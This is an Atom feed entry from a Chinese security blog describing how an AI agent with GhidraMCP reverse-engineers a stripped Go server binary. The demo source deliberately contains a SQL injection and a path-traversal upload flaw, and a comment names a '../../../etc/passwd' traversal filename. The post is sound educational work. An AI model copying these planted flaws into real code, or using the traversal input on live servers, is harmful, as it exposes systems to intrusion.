<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Huli&#39;s blog</title>
  
  <subtitle>Learning by sharing</subtitle>
  <link href="https://blog.huli.tw/atom.xml" rel="self"/>
  
  <link href="https://blog.huli.tw/"/>
  <updated>2026-03-01T12:44:59.482Z</updated>
  <id>https://blog.huli.tw/</id>
  
  <author>
    <name>Huli</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>感謝 AI 讓我這外行人也能做簡單的逆向工程</title>
    <link href="https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/"/>
    <id>https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/</id>
    <published>2026-03-01T04:20:08.000Z</published>
    <updated>2026-03-01T12:44:59.482Z</updated>
    
    <content type="html"><![CDATA[<p>最近碰到一個場合拿到了個 Golang HTTP server 的 binary，需要把它拆開進一步研究，找到通往下一步的線索。</p><p>但關於逆向工程這件事情，我是很陌生的。我只會把 binary 丟到 Ghidra 裡面，接著就什麼都不會了，我連搜尋字串都不會。</p><p>不過現在 AI agent 已經進化得很快了，只要工具運用得當，像我這種的逆向外行人，也能簡單靠 AI 做基礎的逆向工程，這篇就來記錄一下步驟。</p><p>先寫在前面，我拿到的跟這次示範的都是比較小的程式，如果是更大或更複雜的我也不知道能不能跑。我也不會覺得 AI 可以完全取代人原本需要做的部分，但鐵定能讓部分任務變得更輕鬆。</p><p>而像我這樣的外行人，原本能逆出的東西接近沒有，靠 AI 之後能給一些線索都好，就算是亂講的也有一些些參考價值，有總比沒有好嘛，亂講的我還能想辦法再去驗證。至於原本就會逆向的，我也不確定 AI 有沒有幫助，或者是他們會怎麼用，這個不在本篇的討論範圍。</p><span id="more"></span><h2><span id="環境準備">環境準備</span></h2><p>為了示範整體流程，先隨意讓 AI 寫了個有註冊、登入跟上傳檔案功能的 Golang server，檔案結構是：</p><pre class="line-numbers language-none"><code class="language-none">.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>內容的話，貼幾個最主要的檔案上來就好，一個是 route：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  userHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewUserHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  avatarHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  authMiddleware <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>JWTSecret<span class="token punctuation">)</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token comment">// 公開端點</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>    <span class="token comment">// 需登入端點</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/me/messages"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/me/avatar"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>再來是刻意埋的兩個漏洞，註冊時的 SQL injection：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"fmt"</span>  <span class="token string">"net/http"</span>  <span class="token string">"time"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"github.com/golang-jwt/jwt/v5"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span>  <span class="token string">"membership-api/models"</span><span class="token punctuation">)</span><span class="token keyword">type</span> RegisterRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Email    <span class="token builtin">string</span> <span class="token string">`json:"email" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> LoginRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> AuthHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AuthHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  passwordHash<span class="token punctuation">,</span> err <span class="token operator">:=</span> models<span class="token punctuation">.</span><span class="token function">HashPassword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 刻意保留的 SQL injection 漏洞：使用字串拼接而非參數化查詢</span>  query <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')"</span><span class="token punctuation">,</span>    req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> passwordHash<span class="token punctuation">)</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span>query<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以及上傳檔案時的 path traversal：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"net/http"</span>  <span class="token string">"path/filepath"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">type</span> AvatarHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AvatarHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AvatarHandler<span class="token punctuation">)</span> <span class="token function">Upload</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  userID<span class="token punctuation">,</span> ok <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">GetUserID</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span>  <span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusUnauthorized<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"unauthorized"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  file<span class="token punctuation">,</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">FormFile</span><span class="token punctuation">(</span><span class="token string">"avatar"</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"missing avatar file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 刻意保留的 path traversal 漏洞：直接使用 file.Filename，未經 filepath.Clean 或 filepath.Base 過濾</span>  <span class="token comment">// 攻擊者可上傳 filename="../../../etc/passwd" 等路徑穿越到系統其他位置</span>  savePath <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>UploadDir<span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">SaveUploadedFile</span><span class="token punctuation">(</span>file<span class="token punctuation">,</span> savePath<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to save file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 更新 user 的 avatar_path</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span><span class="token string">"UPDATE users SET avatar_path = ? WHERE id = ?"</span><span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">,</span> userID<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to update avatar"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusOK<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"avatar uploaded"</span><span class="token punctuation">,</span> <span class="token string">"path"</span><span class="token punctuation">:</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>寫完之後呢，用這個指令去 build，把該拿的都拿掉，模擬更真實的情境：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> go build <span class="token parameter variable">-ldflags</span><span class="token operator">=</span><span class="token string">"-s -w"</span> <span class="token parameter variable">-trimpath</span> <span class="token parameter variable">-o</span> dist/membership-api <span class="token builtin class-name">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="前置作業">前置作業</span></h2><p>因為我們的 binary 是 stripped 的，相關符號都被拿掉了，因此找個好用的 plugin 可以更方便幫我們還原 Golang 相關的東西，我選的是這個：<a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension</a></p><p>在分析的時候記得把相關選項勾上：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p1.png" alt="analysis"></p><p>分析完以後，在 Ghidra 中其實就能看到更詳細的資訊了：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p2.png" alt="golang analysis"></p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p3.png" alt="c code"></p><p>但這樣也還是手動去看嘛，像我這種根本不會操作 Ghidra 的人，只會把 binary 丟進去而已，要我看我也不知道怎麼看。</p><p>因此我們再來裝個真正讓 AI 跟 Ghidra 搭上線的東西：<a href="https://github.com/LaurieWired/GhidraMCP">GhidraMCP</a>，這個有大概兩三個版本用的人好像都滿多，我就隨意挑了一個看起來文件寫得比較好，比較方便跑起來的。</p><p>裝好並且在 Ghidra 啟用之後，在 AI 那邊配置好 MCP，例如說我用的是 Cursor，就這樣配：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"mcpServers"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"ghidra"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token property">"command"</span><span class="token operator">:</span> <span class="token string">"python"</span><span class="token punctuation">,</span>      <span class="token property">"args"</span><span class="token operator">:</span> <span class="token punctuation">[</span>        <span class="token string">"/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py"</span><span class="token punctuation">,</span>        <span class="token string">"--ghidra-server"</span><span class="token punctuation">,</span>        <span class="token string">"http://127.0.0.1:8080/"</span>      <span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>到這一步為止，前置作業就準備好了。</p><p>話說我拿來示範的是 Cursor，但其實只要是 AI agent 都行，你用 codex、claude code、open code 什麼的都一樣，能接 MCP 就都可以。</p><h2><span id="開始使喚-ai-agent-做事">開始使喚 AI agent 做事</span></h2><p>接下來就是用嘴逆向的時候了，我就只是這樣先跟他講而已：</p><blockquote><p>我現在正在逆向一個 golang 的 binary，請幫我使用 ghidra MCP 協助，幫我看一下他是什麼樣的程式，有哪些功能</p></blockquote><p>他就會開始自己呼叫 MCP，搜尋他想要的東西：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p4.png" alt="mcp call"></p><p>最後給出了這個 binary 用到的 library：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p5.png" alt="reversed libraty"></p><p>以及 API 路由：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p6.png" alt="reversed api route"></p><p>認證相關的邏輯：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p7.png" alt="auth logic"></p><p>還有推測出的檔案結構：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p8.png" alt="file structure"></p><p>接著我就讓他根據推測出來的結構，幫我再把反編譯得到的 C 弄回去 Golang，他就列了幾個 todo 之後開始他的工作：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p9.png" alt="c to golang"></p><p>結果它逆向出來的 routes.go 長這樣：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  userHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>UserHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  avatarHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">,</span> UploadPath<span class="token punctuation">:</span> <span class="token string">"uploads"</span><span class="token punctuation">&#125;</span>  <span class="token comment">// 公開路由 - 不需要認證</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 需要認證的路由</span>  apiAuth <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  apiAuth<span class="token punctuation">.</span><span class="token function">Use</span><span class="token punctuation">(</span>middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/my-messages"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/avatar"</span><span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>程式碼的結構跟原始的有些微不同，代表沒有作弊（？），話說我是讓他在不同 context 底下跑的，所以他確實是看不到原本的 Golang 原始碼沒錯。</p><p>總之，反推回來的程式碼清晰可讀，但有小部分錯誤，例如說 <code>/my-messages</code> 這個不存在，應該是 <code>/me/messages</code> 才對。<code>/avatar</code> 也應該是 <code>/me/avatar</code>，看來有部分地方應該被偷懶跳過了。</p><p>而註冊的地方則是這樣：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  hashedPassword<span class="token punctuation">,</span> err <span class="token operator">:=</span> bcrypt<span class="token punctuation">.</span><span class="token function">GenerateFromPassword</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> <span class="token string">`INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">ExecContext</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>Request<span class="token punctuation">.</span><span class="token function">Context</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> query<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> <span class="token function">string</span><span class="token punctuation">(</span>hashedPassword<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" 